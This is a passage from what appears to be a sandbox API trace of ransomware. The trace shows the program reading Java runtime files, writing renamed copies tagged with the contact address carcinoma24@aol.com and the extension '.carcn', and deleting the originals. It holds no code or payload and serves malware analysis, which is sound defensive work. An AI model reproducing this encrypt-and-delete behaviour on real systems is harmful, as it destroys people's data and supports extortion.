files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0310.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0310.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0310.544] lstrlenW (lpString=".doc") returned 4 [0310.544] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0310.544] lstrlenW (lpString=".docx") returned 5 [0310.544] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0310.544] lstrlenW (lpString=".pdf") returned 4 [0310.544] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0310.544] lstrlenW (lpString=".xls") returned 4 [0310.544] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0310.545] lstrlenW (lpString=".xlsx") returned 5 [0310.545] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0310.545] lstrlenW (lpString=".ppt") returned 4 [0310.545] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0310.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0310.545] lstrlenW (lpString=".zip") returned 4 [0310.545] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0310.545] lstrlenW (lpString=".rar") returned 4 [0310.545] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0310.545] lstrlenW (lpString=".bz2") returned 4 [0310.545] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0310.545] lstrlenW (lpString=".7z") returned 3 [0310.545] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0310.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0310.545] lstrlenW (lpString=".dbf") returned 4 [0310.545] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0310.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0310.545] lstrlenW (lpString=".1cd") returned 4 [0310.545] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0310.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0310.545] lstrlenW (lpString=".jpg") returned 4 [0310.545] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0310.546] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.546] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.546] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0310.547] GetLastError () returned 0x0 [0310.547] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x368a, lpOverlapped=0x0) returned 1 [0310.548] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x3690, lpOverlapped=0x0) returned 1 [0310.549] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.549] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x116, lpOverlapped=0x0) returned 1 [0310.549] SetEndOfFile (hFile=0x344) returned 1 [0310.549] CloseHandle (hObject=0x344) returned 1 [0310.550] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.550] SetEndOfFile (hFile=0x380) returned 1 [0310.551] CloseHandle (hObject=0x380) returned 1 [0310.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.551] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0310.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0310.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0310.552] lstrlenW (lpString=".doc") returned 4 [0310.552] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0310.552] lstrlenW (lpString=".docx") returned 5 [0310.552] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0310.552] lstrlenW (lpString=".pdf") returned 4 [0310.552] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString=".xls") returned 4 [0310.553] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString=".xlsx") returned 5 [0310.553] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0310.553] lstrlenW (lpString=".ppt") returned 4 [0310.553] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0310.553] lstrlenW (lpString=".zip") returned 4 [0310.553] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString=".rar") returned 4 [0310.553] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString=".bz2") returned 4 [0310.553] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString=".7z") returned 3 [0310.553] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0310.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0310.553] lstrlenW (lpString=".dbf") returned 4 [0310.553] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0310.553] lstrlenW (lpString=".1cd") returned 4 [0310.553] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0310.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0310.553] lstrlenW (lpString=".jpg") returned 4 [0310.553] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0310.554] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.554] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0310.554] GetLastError () returned 0x0 [0310.554] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x500, lpOverlapped=0x0) returned 1 [0310.555] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x510, lpOverlapped=0x0) returned 1 [0310.556] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.556] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf8, lpOverlapped=0x0) returned 1 [0310.557] SetEndOfFile (hFile=0x344) returned 1 [0310.557] CloseHandle (hObject=0x344) returned 1 [0310.557] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.557] SetEndOfFile (hFile=0x380) returned 1 [0310.558] CloseHandle (hObject=0x380) returned 1 [0310.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.558] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0310.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0310.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0310.559] lstrlenW (lpString=".doc") returned 4 [0310.559] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0310.559] lstrlenW (lpString=".docx") returned 5 [0310.559] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0310.559] lstrlenW (lpString=".pdf") returned 4 [0310.559] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0310.559] lstrlenW (lpString=".xls") returned 4 [0310.559] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0310.559] lstrlenW (lpString=".xlsx") returned 5 [0310.559] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0310.559] lstrlenW (lpString=".ppt") returned 4 [0310.559] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0310.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0310.559] lstrlenW (lpString=".zip") returned 4 [0310.559] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0310.560] lstrlenW (lpString=".rar") returned 4 [0310.560] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0310.560] lstrlenW (lpString=".bz2") returned 4 [0310.560] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0310.560] lstrlenW (lpString=".7z") returned 3 [0310.560] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0310.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0310.560] lstrlenW (lpString=".dbf") returned 4 [0310.560] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0310.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0310.560] lstrlenW (lpString=".1cd") returned 4 [0310.560] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0310.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0310.560] lstrlenW (lpString=".jpg") returned 4 [0310.560] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0310.560] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.560] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.561] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0310.561] GetLastError () returned 0x0 [0310.561] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x38, lpOverlapped=0x0) returned 1 [0310.562] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x40, lpOverlapped=0x0) returned 1 [0310.563] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.563] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf6, lpOverlapped=0x0) returned 1 [0310.563] SetEndOfFile (hFile=0x344) returned 1 [0310.563] CloseHandle (hObject=0x344) returned 1 [0310.564] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.564] SetEndOfFile (hFile=0x380) returned 1 [0310.565] CloseHandle (hObject=0x380) returned 1 [0310.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.565] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0310.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0310.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0310.566] lstrlenW (lpString=".doc") returned 4 [0310.566] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0310.566] lstrlenW (lpString=".docx") returned 5 [0310.566] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0310.566] lstrlenW (lpString=".pdf") returned 4 [0310.566] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0310.566] lstrlenW (lpString=".xls") returned 4 [0310.566] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0310.566] lstrlenW (lpString=".xlsx") returned 5 [0310.566] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0310.566] lstrlenW (lpString=".ppt") returned 4 [0310.566] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0310.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0310.566] lstrlenW (lpString=".zip") returned 4 [0310.566] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0310.566] lstrlenW (lpString=".rar") returned 4 [0310.566] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0310.566] lstrlenW (lpString=".bz2") returned 4 [0310.566] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0310.566] lstrlenW (lpString=".7z") returned 3 [0310.566] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0310.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0310.567] lstrlenW (lpString=".dbf") returned 4 [0310.567] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0310.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0310.567] lstrlenW (lpString=".1cd") returned 4 [0310.567] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0310.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0310.567] lstrlenW (lpString=".jpg") returned 4 [0310.567] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0310.567] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.567] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.567] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0310.941] GetLastError () returned 0x0 [0310.941] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xe6827, lpOverlapped=0x0) returned 1 [0310.956] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe6830, lpOverlapped=0x0) returned 1 [0310.972] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.972] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0310.972] SetEndOfFile (hFile=0x344) returned 1 [0311.344] CloseHandle (hObject=0x344) returned 1 [0311.344] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.344] SetEndOfFile (hFile=0x380) returned 1 [0311.362] CloseHandle (hObject=0x380) returned 1 [0311.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.363] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0311.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0311.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0311.387] lstrlenW (lpString=".doc") returned 4 [0311.387] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0311.387] lstrlenW (lpString=".docx") returned 5 [0311.387] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0311.387] lstrlenW (lpString=".pdf") returned 4 [0311.387] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0311.387] lstrlenW (lpString=".xls") returned 4 [0311.387] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0311.387] lstrlenW (lpString=".xlsx") returned 5 [0311.387] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0311.387] lstrlenW (lpString=".ppt") returned 4 [0311.388] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0311.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0311.388] lstrlenW (lpString=".zip") returned 4 [0311.388] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0311.388] lstrlenW (lpString=".rar") returned 4 [0311.388] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0311.388] lstrlenW (lpString=".bz2") returned 4 [0311.388] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0311.388] lstrlenW (lpString=".7z") returned 3 [0311.388] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0311.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0311.388] lstrlenW (lpString=".dbf") returned 4 [0311.388] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0311.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0311.388] lstrlenW (lpString=".1cd") returned 4 [0311.388] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0311.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0311.388] lstrlenW (lpString=".jpg") returned 4 [0311.388] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0311.388] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.389] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.389] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.390] GetLastError () returned 0x0 [0311.390] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xf9e, lpOverlapped=0x0) returned 1 [0311.391] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0311.392] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.392] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf4, lpOverlapped=0x0) returned 1 [0311.393] SetEndOfFile (hFile=0x388) returned 1 [0311.393] CloseHandle (hObject=0x388) returned 1 [0311.393] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.393] SetEndOfFile (hFile=0x370) returned 1 [0311.394] CloseHandle (hObject=0x370) returned 1 [0311.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.394] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0311.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0311.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0311.395] lstrlenW (lpString=".doc") returned 4 [0311.395] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0311.395] lstrlenW (lpString=".docx") returned 5 [0311.395] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0311.395] lstrlenW (lpString=".pdf") returned 4 [0311.395] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0311.395] lstrlenW (lpString=".xls") returned 4 [0311.395] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0311.395] lstrlenW (lpString=".xlsx") returned 5 [0311.395] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0311.396] lstrlenW (lpString=".ppt") returned 4 [0311.396] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0311.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0311.396] lstrlenW (lpString=".zip") returned 4 [0311.396] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0311.396] lstrlenW (lpString=".rar") returned 4 [0311.396] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0311.396] lstrlenW (lpString=".bz2") returned 4 [0311.396] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0311.396] lstrlenW (lpString=".7z") returned 3 [0311.396] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0311.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0311.396] lstrlenW (lpString=".dbf") returned 4 [0311.396] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0311.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0311.396] lstrlenW (lpString=".1cd") returned 4 [0311.396] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0311.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0311.396] lstrlenW (lpString=".jpg") returned 4 [0311.396] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0311.397] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.397] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 